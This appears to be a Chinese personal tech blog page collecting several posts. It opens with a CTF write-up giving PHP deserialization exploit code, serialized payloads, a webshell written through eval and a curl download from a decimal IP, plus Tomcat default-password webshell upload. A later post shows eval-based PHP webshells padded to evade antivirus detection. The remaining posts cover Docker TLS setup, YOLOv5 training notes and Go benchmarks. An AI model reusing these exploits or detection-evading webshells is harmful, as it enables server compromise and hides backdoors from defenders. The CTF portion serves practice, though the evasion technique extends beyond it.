-
网信杯2023 WP
签到题 16进制转字符串 职业选手 解码 happynewyear Littile Cardshop 双注入 sqlite+flask 四四方方 下载压缩包sce.zip formost分离得到sleep.png 将分离出的ascii从上到下排序得到flag web-helloworld: 扫描网站知道index.jsp 猜测可以访问/manager/html 访问,测试密码tomcat - tomcat可以登录 上传包含webshell的war包即可getshell 然后cat /flag.txt即可。 web-pop: 略显复杂的反序列化,链子如下: 主要是引用变量变相的绕过wakeup + curl ip十进制把"/flag*"存到a文件中,然后使用 tac $(tac a) 绕过命令执行过滤 O:5:"start":1:{s:11:"%00start%00code";O:5:"hello":1:{s:7:"message";O:5:"world":2:{s:6:"bridge";O:5:"world":2:{s:6:"bridge";N;s:5:"dream";O:+4:"hack":1:{s:6:"weapon";s:11:"%0acat /flag*";}}s:5:"dream";O:4:"hack":1:{s:6:"weapon";s:11:"%0acat /flag*";}}}} exp如下: <?php class hello { public $message; } class world { public $bridge; public $dream; public function __construct($a){ $this->bridge = $a; $this->dream = new hack(); } public function __toString() { $this->bridge->last(); return "Good CTFer!</br>"; } public function last() { //"准备好武器了吗?</br>"; ($this->dream)(); } } class hack { public $weapon; public $refer; public $ence; public function __construct(){ $this->weapon = &$this->refer; $this->ence = "tac $(tac a)"; #$this->ence = "curl 2718853988 -o a"; #$this->ence = "en\\v".str_repeat("a", 1000000); /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin } } class start { private $code; public function __construct($c){ $this->code = $c; } } #var_dump(new start()); #urlencode $hack = new hack(); $a = new world($hack); $hello = new hello(); $hello->message = new world($a); $start = new start($hello); var_dump($start); $r = urlencode(serialize($start)); $r = str_replace("refer","refer",$r); echo urldecode($r) ; echo "\n"; echo "\n"; echo $r ; web-ezpop 简单的反序列化,直接构造链子 <?php error_reporting(0); class AAA { private $cmd; public function __construct($b) { $this->cmd=$b; } } class BBB { protected $name; public function __construct($a) { $this -> name = $a; } } class EEE { public $var; public function __construct($a){ $this->var = $a; } } $a2 = new AAA("cat /flag*"); $e = new EEE($a2); $b = new BBB($e); $a = new AAA($b); echo urlencode(serialize($a)); pop=O%3A3%3A%22AAA%22%3A1%3A%7Bs%3A8%3A%22%00AAA%00cmd%22%3BO%3A3%3A%22BBB%22%3A1%3A%7Bs%3A7%3A%22%00%2A%00name%22%3BO%3A3%3A%22EEE%22%3A1%3A%7Bs%3A3%3A%22var%22%3BO%3A3%3A%22AAA%22%3A1%3A%7Bs%3A8%3A%22%00AAA%00cmd%22%3Bs%3A10%3A%22cat+%2Fflag%2A%22%3B%7D%7D%7D%7D web-babycode: 思路如下: 根据相应头里的Date获取当前时间 利用strlen调用__toString 写入webshell 替换敏感字符 读取/.ffffllllaaaagggg exp如下: <?php class CanYouHackMe{ const hackstr = "<?php exit('noooooooo');?>"; public $code="EVAL<?php eval(\$_GET[0]);?>"; public function __toString() { $this->code = self::hackstr.$this->code; $this->fileWrite($this->code); return ""; } } class isfile { public $filepath = "./index.php"; public $A="ex"; public $B="ec"; public function __construct() { $t = "Thu, 06 Jul 2023 08:17:22 GMT"; $tt = strtotime($t); $path = "./files/".md5($tt)."/".base64_encode($tt).".php"; echo $path; $this->filepath = $path; #$this->B = new CanYouHackMe(); } } $a = new isfile(); echo (base64_encode(serialize($a)));2023-7-10 0 1930 标签: WriteUp -
开启docker remote api 并添加证书
配置证书(网上找到一个好用的脚本,直接梭哈) #!/bin/sh export PASSWORD="123123" export COUNTRY="CN" export STATE="xxx" export CITY="xxx" export ORGANIZATION="xxx" export ORGANIZATIONAL_UNIT="bugku" export COMMON_NAME="aman.docker" export EMAIL="61898864@qq.com" export HOST_NAME="$COMMON_NAME" export IP="x.x.x.x" export DIR="/etc/docker" cd $DIR # Generate CA openssl genrsa -aes256 -passout "pass:$PASSWORD" -out "$DIR/ca-key.pem" 4096 openssl req -new -x509 -days 3650 -key "$DIR/ca-key.pem" -sha256 -out "$DIR/ca.pem" -passin "pass:$PASSWORD" -subj "/C=$COUNTRY/ST=$STATE/L=$CITY/O=$ORGANIZATION/OU=$ORGANIZATIONAL_UNIT/CN=$COMMON_NAME/emailAddress=$EMAIL" # Generate Server Certs openssl genrsa -out "$DIR/server-key.pem" 4096 openssl req -subj "/CN=$HOST_NAME" -sha256 -new -key "$DIR/server-key.pem" -out $DIR/server.csr echo "subjectAltName = DNS:$HOST_NAME,IP:$IP,IP:0.0.0.0" > $DIR/server.cnf echo "extendedKeyUsage = serverAuth" >> $DIR/server.cnf openssl x509 -req -days 3650 -sha256 -in $DIR/server.csr -passin "pass:$PASSWORD" -CA "$DIR/ca.pem" -CAkey "$DIR/ca-key.pem" -CAcreateserial -out "$DIR/server-cert.pem" -extfile $DIR/server.cnf # Generate Client Certs openssl genrsa -out "$DIR/client-key.pem" 4096 openssl req -subj '/CN=client' -new -key "$DIR/client-key.pem" -out $DIR/client.csr echo "extendedKeyUsage = clientAuth" > $DIR/client.cnf openssl x509 -req -days 3650 -sha256 -in $DIR/client.csr -passin "pass:$PASSWORD" -CA "$DIR/ca.pem" -CAkey "$DIR/ca-key.pem" -CAcreateserial -out "$DIR/client-cert.pem" -extfile $DIR/client.cnf # Modify Certs Permission chmod 0400 $DIR/*-key.pem chmod 0444 $DIR/ca.pem $DIR/*-cert.pem # Remove Temporary Files rm -f $DIR/*.csr $DIR/*.cnf 修改Docker配置文件 #找到/lib/systemd/system/docker.service中的这一行,改为 ExecStart=/usr/bin/dockerd -H fd:// --containerd=/run/containerd/containerd.sock #后面加上如下参数 ExecStart=/usr/bin/dockerd -H fd:// --containerd=/run/containerd/containerd.sock --tlsverify \ --tlscacert=/etc/docker/ca.pem \ --tlscert=/etc/docker/server-cert.pem \ --tlskey=/etc/docker/server-key.pem \ -H tcp://0.0.0.0:2376 重启Doker systemctl daemon-reload && systemctl restart docker 验证 docker --tlsverify --tlscacert=/etc/docker/ca.pem --tlscert=/etc/docker/client-cert.pem --tlskey=/etc/docker/client-key.pem -H x.x.x.x:2376 version2023-6-7 0 1687 标签: docker -
CentOS7 安装docker
安装gcc yum -y install gcc yum -y install gcc-c++ 卸载旧版(没有可忽略) yum remove docker \ docker-client \ docker-client-latest \ docker-common \ docker-latest \ docker-latest-logrotate \ docker-logrotate \ docker-selinux \ docker-engine-selinux \ docker-engine \ docker-ce 安装软件包 yum install -y yum-utils 设置镜像仓库 yum-config-manager --add-repo http://mirrors.aliyun.com/docker-ce/linux/centos/docker-ce.repo 更新软件包索引 yum makecache fast 安装docker yum -y install docker-ce docker-ce-cli containerd.io 启动docker systemctl start docker 加入开机启动 systemctl enable docker2023-6-7 0 1594 标签: docker -
golang+tensorflow 实现图片鉴黄
吐槽:突然有点理解宝马(我高中朋友)和唐马儒为什么会说出那样的话了。 正文开始: 站在巨人的肩膀上,没啥技术可言。 主要是给想用golang+tensorflow的伙计们说一声,windows环境下就不要想着用golang跑了,反正我搞了两天没搞出来。 我最终解决方案还是 python训练,模型保存下来 给go调用。 而且linux+go+tensorflow。 打包成docker,目录映射其实开发起来也挺方便 成果如下(第一个中括号是概率): 数据集来源:https://github.com/alex000kim/nsfw_data_scraper 或者github自己找 -
免杀webshell过程中遇到的一些骚操作。
有时候发现安全防护软件真的挺奇葩的。 之前写过一个免杀webshell,用的是assert,但php高版本已经不支持了。 所以打算写个基于eval的webshell。 由于不能用$$a 这种变量绕过。所以只能直接和杀毒软件硬刚eval。 eval(base64_decode(...)); 这种格式已经用烂了。只要检测这种函数组合必报毒。 所以打算用eval(diy_fun(...));的形式绕过 写的过程中发现一个很奇怪的设定 举个例子 这种就报毒 <?php function base64decrypt($str_s) { return ($str_s); } $s = "6aman" ^ "i1\"2:"; $a = ${$s}[a]; eval(base64decrypt($a)) ?> 然后下面这种就不报毒。 <?php function base64decrypt($str_s) { $str_s = str_replace("", "", ""); $str_s = str_replace("", "", ""); $str_s = str_replace("", "", ""); $str_s = str_replace("", "", ""); $str_s = str_replace("", "", ""); $str_s = str_replace("", "", ""); $str_s = str_replace("", "", ""); $str_s = str_replace("", "", ""); $str_s = str_replace("", "", ""); $str_s = str_replace("", "", ""); $str_s = str_replace("", "", ""); $str_s = str_replace("", "", ""); $str_s = str_replace("", "", ""); $str_s = str_replace("", "", ""); return ($str_s); } $s = "6aman" ^ "i1\"2:"; $a = ${$s}[a]; eval(base64decrypt($a)) ?> 我本地测试了好多次,发现确实与函数中代码多少有关系。 然后继续测试是行数问题还是字符串数量 下面这个不报毒 <?php function base64decrypt($str_s) { $str_s = str_replace("1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111", "", ""); return ($str_s); } $s = "6aman" ^ "i1\"2:"; $a = ${$s}[a]; eval(base64decrypt($a)) ?> 不过问题不是这么简单,不仅仅是函数内容的数量。 比如我把变量$str_s 改成$a。就要在str_replace中的“1111...”的字符串中加上相应的数量。 后来发现该函数名的长短也会受到影响。 这个数量大概实在410 左右。 -
【十年脑血栓系列】负数转正数 abs和0- (负数)谁的效率更高
本人处女座,写代码极其恶心,不是恶心别人,而是恶心自己。不知道啥时候脑子就抽了,有些没有意义的问题非要弄个明白,好多次都睡下了,凌晨两三点突然想到某个问题,然后起床开电脑,测试。属实给我恶心坏了。he tui ~ 就在刚在,用golang写brainfuck加解密的时候,脑子抽了一下。 就因为在取绝对值时产生了一个恶心的想法: 问下面两种写法哪种更好,运算效率更快: 1、b=math.Abs(float64(diff)) 2、b=0-diff 不严谨的答案:都一样 严禁的答案:没有(自己测) 测试脚本 func t() { start := time.Now() // 获取当前时间 for i := -1.0; i > -1000000000; i-- { _ = 0 - i } elapsed := time.Since(start) fmt.Println("t函数执行完成耗时:", elapsed) } func t2() { start := time.Now() for i := -1.0; i > -1000000000; i-- { _ = math.Abs(i) } elapsed := time.Since(start) fmt.Println("t2函数执行完成耗时:", elapsed) } //t函数执行完成耗时: 956.5709ms //t2函数执行完成耗时: 952.8599ms //t函数执行完成耗时: 953.1113ms //t2函数执行完成耗时: 959.0932ms //t2函数执行完成耗时: 952.184ms //t函数执行完成耗时: 950.48ms //t2函数执行完成耗时: 951.7409ms //t函数执行完成耗时: 950.9821ms ... ... 测了多次 耗时互有高低,但差别都不大 然后安心的用0-diff写法(原因就是书写效率高),继续耕耘,美美哒~2022-12-5 0 2201 标签: golang -
yolov5实现CTF自动解题之----字符密码
最近学习了go语言。 打算开发个ctf自动解题脚本作为golang的处女作。 其中图片解密中有一个功能是自动识别图片内容并分析,如果发现类似猪圈密码、军旗、手语、埃及字符之类的可以自动识别。 首先想到的是opencv的模板识别,根据百度的资料 先把图片二值化然后生成一个个的模板 原图 二值化 模板(因为都删了这个是写文章时生成的案例,实际操作需要每个字符都拆分出来) 识别结果 看效果图识别效果简直完美,但是假如换了下面这张图,就GG了,模板识别的弊端看效果图 识别效果简直完美,但是假如换了下面这张图,就GG了 然后又开始用yolov5识别。 按照百度安装、踩坑、爬坑、踩坑、爬坑 终于能成功运行了。 用之前使用opencv生成的单个元素,生成了300多张训练集。最终跑出来了 识别效果如下 然后总结下过程中遇到的坑,希望大家或者以后自己犯错的时候能够来爬坑。 坑1、 opencv的模板识别的可变性不强,识别的图片必须是被识别图片中的一部分。 坑2、生成yolov训练集的时候 标注的坐标 0 0.125000 0.125000 0.078125 0.078125 第一个是标签ID从0开始 对应训练项目的yaml文件中的name。 第二个是标注的x坐标,注意这x坐标不是标注的左上角而是标注的中心,然后用标注的中心坐标除以图片的宽度 第三个是标注的y坐标,和x坐标一样 是标注的中心 然后除图片的高度 第四个是标注的宽度,然后除以图片宽度 第五个是标注的高度,然后除以图片的高度 坑3、 #如果训练的时候发现慢检查是不是cpu在跑,我下载yolov5运行默认就是cpu #输入库 import torch #查看版本 print(torch.__version__) #查看gpu是否可用 true gpu false cpu #修改方法自行百度,过程耗时1-2小时。需要下载安装大量数据 坑4、 识别的时候发现yolov会吧对称的图形识别成一个。 这是训练的时候开启了训练增强,默认是开着的,如不需要关掉 坑5、... 坑6、... 坑7、... 坑8、.. 坑9、. 坑N、吃饭了,后续写(我了解我,说后续写基本上不会写了。反正搞这个玩意一直就是爬坑踩坑爬坑踩坑。 而这句话说不定也是一个隐藏的坑,说不定以后啥时候又踩了坑,回来翻博客,发下自己因为懒没写全。GG) 补充 深渊巨坑 最大的坑就是,我尼玛找的猪圈密码竟然是不标准的,我曰,我说怎么有几个字符怎么训练识别率还是不高,艹服了2022-11-27 0 2160 -
YOLOV5数据增强模块参数说明
# 优化器相关 lr0: 0.01 # initial learning rate (SGD=1E-2, Adam=1E-3) 初始学习率 lrf: 0.2 # final OneCycleLR learning rate (lr0 * lrf) 余弦退火超参数 momentum: 0.937 # SGD momentum/Adam beta1 学习率动量 weight_decay: 0.0005 # optimizer weight decay 5e-4 权重衰减系数 # 预热学习相关 warmup_epochs: 3.0 # warmup epochs (fractions ok) 预热学习epoch warmup_momentum: 0.8 # warmup initial momentum 预热学习率动量 warmup_bias_lr: 0.1 # warmup initial bias lr 预热学习率 # 不同损失函数权重,以及其他损失函数相关内容 box: 0.05 # box loss gain giou损失的系数 cls: 0.5 # cls loss gain 分类损失的系数 cls_pw: 1.0 # cls BCELoss positive_weight 分类BCELoss中正样本的权重 obj: 1.0 # obj loss gain (scale with pixels) 有无物体损失的系数 obj_pw: 1.0 # obj BCELoss positive_weight 有无物体BCELoss中正样本的权重 iou_t: 0.20 # IoU training threshold 标签与anchors的iou阈值iou training threshold # anchor锚框 anchor_t: 4.0 # anchor-multiple threshold 标签的长h宽w/anchor的长h_a宽w_a阈值, 即h/h_a, w/w_a都要在(1/4.0, 4.0)之间 # anchors: 3 # anchors per output layer (0 to ignore) # 数据增强相关 - 色彩转换 fl_gamma: 0.0 # focal loss gamma (efficientDet default gamma=1.5) hsv_h: 0.015 # image HSV-Hue augmentation (fraction) 色调 hsv_s: 0.7 # image HSV-Saturation augmentation (fraction) 饱和度 hsv_v: 0.4 # image HSV-Value augmentation (fraction) 明度 # 数据增强相关:旋转、平移、扭曲等 degrees: 0.0 # image rotation (+/- deg) 旋转角度 translate: 0.1 # image translation (+/- fraction) 水平和垂直平移 scale: 0.5 # image scale (+/- gain) 缩放 shear: 0.0 # image shear (+/- deg) 剪切 perspective: 0.0 # image perspective (+/- fraction), range 0-0.001 透视变换参数 # 数据增强相关 - 翻转 flipud: 0.0 # image flip up-down (probability) 上下翻转概率 fliplr: 0.5 # image flip left-right (probability) 左右翻转概率 # 数据增强相关 - mosaic/mixup mosaic: 1.0 # image mosaic (probability) 进行mosaic的概率(一幅图像融合四幅图像) mixup: 0.0 # image mixup (probability) 进行mixup的概率(对两个样本-标签数据对按比例相加后生成新的样本-标签数据)2022-11-27 0 2131 标签: YOLOV
最新评论
Aman 2年前
@阿巴阿巴:define
阿巴阿巴 3年前
如果waf屏蔽了$该怎么绕啊楼主
Aman 3年前
@啊啊:没有,等有空我完善下打包成插件
啊啊 3年前
博主 这个有视频教程吗 没看懂....
Aman 3年前
@波波:密码随意
波波 3年前
这句话的怎么连接啊,楼主
Aman 3年前
Hi